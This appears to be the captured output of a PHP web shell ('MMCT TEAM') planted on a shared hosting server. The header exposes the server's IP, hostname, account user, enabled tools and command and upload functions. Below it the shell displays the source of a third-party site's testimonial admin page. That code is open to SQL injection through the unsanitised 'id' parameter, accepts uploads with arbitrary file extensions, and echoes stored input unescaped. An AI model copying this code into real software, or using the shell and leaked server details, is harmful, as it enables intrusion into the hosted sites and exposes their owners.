MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.133.108.47
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/dial4crm.com/../ntimachinery.com/webpanel/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/dial4crm.com/../ntimachinery.com/webpanel/add-testimonial.php
<?php 

include('config/function.php');

if(!isset($_SESSION['user_name']) || empty($_SESSION['user_name']))
{
header('location:login.php');
exit();
}

/* set variable */
$pagename = "Testimonial";
$pagetaskname = " Add ";

/* set var blank */
$id = "";
$msg = "";	
$sess_msg = "";
$tstm_name = "";
$heading = "";
$tstm_comment = "";
$image = "";
$tstm_img_alt = "";
$is_active = "";

/* get id */
if(isset($_GET['id']) && $_GET['id']!="")
{
	$id = $_GET['id'];
}

if(isset($_POST['submit']) && $_POST['submit']=="add")
{
	
	$tstm_name = addslashes(trim($_POST['tstm_name']));
	$heading = addslashes(trim($_POST['heading']));
	$tstm_comment = addslashes(trim($_POST['tstm_comment']));
	$tstm_img_alt = addslashes(trim($_POST['tstm_img_alt']));
	
	if(!empty($_POST['is_active'])) { $is_active=1; } else{ $is_active=0; }
	
	/* check title in database */
	$checkDuplicate ="";
	if($id!="")
	{
		$checkDuplicate = "AND id!='$id'"; 
	}
	$query_duplicate="SELECT * FROM tbl_testimonial WHERE tstm_name='".$tstm_name."' $checkDuplicate";
	if($sql_duplicate=$conn->query($query_duplicate))
	{
		
			if($id!="")
			{
				$query_update="UPDATE tbl_testimonial SET tstm_name='".$tstm_name."',heading='".$heading."',tstm_comment='".$tstm_comment."',tstm_img_alt='".$tstm_img_alt."',is_active='".$is_active."' WHERE id='".$id."'";
				if($sql_update=$conn->prepare($query_update))
				{
					$sql_update->execute();
					$sess_msg = $pagename." Update Successfully.";	
				}
			}
			else
			{
				$query_insert="INSERT INTO tbl_testimonial SET tstm_name='".$tstm_name."',heading='".$heading."',tstm_comment='".$tstm_comment."',tstm_img_alt='".$tstm_img_alt."',
				is_active='".$is_active."'";
			

							if($sql_insert=$conn->prepare($query_insert))
				{
					$sql_insert->execute();
					$id = mysqli_insert_id($conn);
					$sess_msg = $pagename." Added Successfully.";
				}
			}
			if(isset($_FILES['tstm_img']) && $_FILES['tstm_img']['error']==0)
			{

				$array = explode('.', $_FILES['tstm_img']['name']);
				$galleryimage = $array[0];
				$galleryimage1 = $array[1];
				$time =time();
				$galleryimage = $time.$galleryimage;
				$galleryimage = str_replace("---","-",preg_replace("/[^-a-zA-Z0-9s]/", "-", strtolower(trim($galleryimage)))); 
				$galleryimage = $galleryimage.".".$galleryimage1;  

			    $galleryimagename = "";
					if($id!="")
					{

					$queryinfo = "SELECT tstm_img FROM `tbl_testimonial` WHERE id = '".$id."'";
					if($sql_select = $conn->query($queryinfo))
					{
					if($sql_select->num_rows>0)
					{
					$resultinfo = $sql_select->fetch_array(MYSQLI_ASSOC);

					$galleryimagename =  trim($resultinfo['tstm_img']);
					}
					}
					}
						if($galleryimagename!="")
						{
						$unlkheaderfile = "uploads/testimonial/".$galleryimagename;
						if (file_exists($unlkheaderfile)) { unlink($unlkheaderfile); }
						}
					$galleryfilename = "uploads/testimonial/". $galleryimage;
					$mv =move_uploaded_file($_FILES['tstm_img']['tmp_name'],$galleryfilename);
					$query_imageup="UPDATE tbl_testimonial SET tstm_img='".$galleryimage."' WHERE id='".$id."'";
					if($sql_imageup=$conn->prepare($query_imageup))
					$sql_imageup->execute();
			} 

			
			echo "<script>document.location.href='view-testimonial.php?msg=".$sess_msg."';</script>";
			exit;
	
	}
}

/* Listing  */
if($id!="")
{
  
    $query_select="SELECT * FROM tbl_testimonial WHERE id='".$id."'";
	if($sql_select=$conn->query($query_select))
	{ 
		if($sql_select->num_rows>0)
		{
			$result=$sql_select->fetch_array(MYSQLI_ASSOC);
			
			$tstm_name = stripslashes($result['tstm_name']);
			$heading = stripslashes($result['heading']);
			$tstm_comment = stripslashes($result['tstm_comment']);
			$tstm_img_alt = stripslashes($result['tstm_img_alt']);
			$tstm_img = $result['tstm_img'];
			$is_active = $result['is_active'];
			$pagetaskname = " Update ";

	
		}
		else
		{
			echo "<script>document.location.href='view-testimonial.php';</script>";
			exit;
		}
    }
}

?>
<!DOCTYPE html>
<html>
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport"> 
  <title>Dashboard</title>
 
  <link rel="stylesheet" href="bower_components/font-awesome/css/font-awesome.min.css">
  <link rel="stylesheet" href="bower_components/Ionicons/css/ionicons.min.css">
  <link rel="stylesheet" href="dist/css/AdminLTE.min.css">
  <link rel="stylesheet" href="dist/css/skins/_all-skins.min.css">

  <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>
		<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
		<script src="dist/js/editor.js"></script>
		<script>
			$(document).ready(function() {
				$("#txtEditor").Editor();
			});
		</script>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css">
		<link href="dist/css/editor.css" type="text/css" rel="stylesheet"/>
    
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">

  <?php include('header.php') ?>
  <?php include('left-menu.php') ?>
  <div class="content-wrapper">
    <section class="content">
      <div class="row">
       <div class="col-md-12">
	   <?php if($msg!="") { ?><h5 class="h5-headn" style="color:red;"><?php echo $msg; ?></h5><?php } else { ?>
          <div class="main-title">
           <h3>Add Testimonial</h3>
           </div>
		   <?php } ?>
          </div>
          <div class="col-md-12">
          <div class="field-section">
              <form method="post" enctype="multipart/form-data">
              <div class="row">
               <div class="col-md-4">
                    <label class="input-text">Name</label>
                  <div class="form-group">
                      <input type="text" name="tstm_name" value="<?php echo $tstm_name; ?>" class="from-control custom-type">
                   </div>
                  </div>
                  <div class="col-md-4">
                    <label class="input-text">Heading</label>
                  <div class="form-group">
                      <input type="text" name="heading" value="<?php echo $heading; ?>" class="from-control custom-type">
                   </div>
                  </div>

                  <div class="col-md-4">
                    <label class="input-text">Comment</label>
                  <div class="form-group">
                  	<textarea name="tstm_comment" class="form-control"><?=$tstm_comment?></textarea>
                     
                   </div>
                  </div>



                 
                  <div class="col-md-3">
                    <label class="input-text">Image</label>
                    <div class="form-group">
					<?php if($tstm_img!="") { ?>
					<img src="uploads/testimonial/<?php echo $result['tstm_img']?>" height="100" width="120" title="<?php echo $tstm_name; ?> Image">
					<?php } ?>
                      <input type="file" name="tstm_img" value="<?php echo $result['tstm_img']?>" class="from-control custom-type">
                   </div>
                  </div>

                  <div class="col-md-3">
                    <label class="input-text">Image Alt Tag</label>
                  <div class="form-group">
                      <input type="text" name="tstm_img_alt" value="<?php echo $tstm_img_alt; ?>" class="from-control custom-type">
                   </div>
                  </div>

				  <div class="col-md-3">
                  <label class="input-text">Status</label>
                <br>
                 <label class="switch">
				 <input type="checkbox" class="form-control" name="is_active[]" id="is_active" value="1" <?php if($is_active==  1) { echo "checked"; } ?>/>
				<div id="is_active"></div>
                  
                </label>
                  </div>
                  </div>
                  <div class="row">
               
                  <div class="col-md-12">
                                            
                 <button type="submit" name="submit" value="add" class="btn btn-submit">Add</button>  
                  </div>
              </div>
              </form>
              </div>
          </div>
        
      </div>
    </section>
  </div>
  <!-- /.content-wrapper -->
  <footer class="main-footer">
    <strong>Copyright &copy; <?php echo date("Y");?> <a href="#">Dashboard</a>.</strong> All rights
    reserved.
  </footer>
</div>
	

<script src="bower_components/jquery-ui/jquery-ui.min.js"></script>
<script>
  $.widget.bridge('uibutton', $.ui.button);
</script>
<script src="bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<script src="dist/js/adminlte.min.js"></script>
<script src="http://ajax.aspnetcdn.com/ajax/jquery.validate/1.12.0/jquery.validate.min.js" type="text/javascript"></script>
<link rel="stylesheet" href="lib/ToggleSwitch.css"/>
<script src="lib/ToggleSwitch.js"></script>
<script>
$(function(){
$("#is_active").toggleSwitch();
$("#myonoffswitch2").toggleSwitch();
});
</script>


</body>
</html>

MMCT - 2023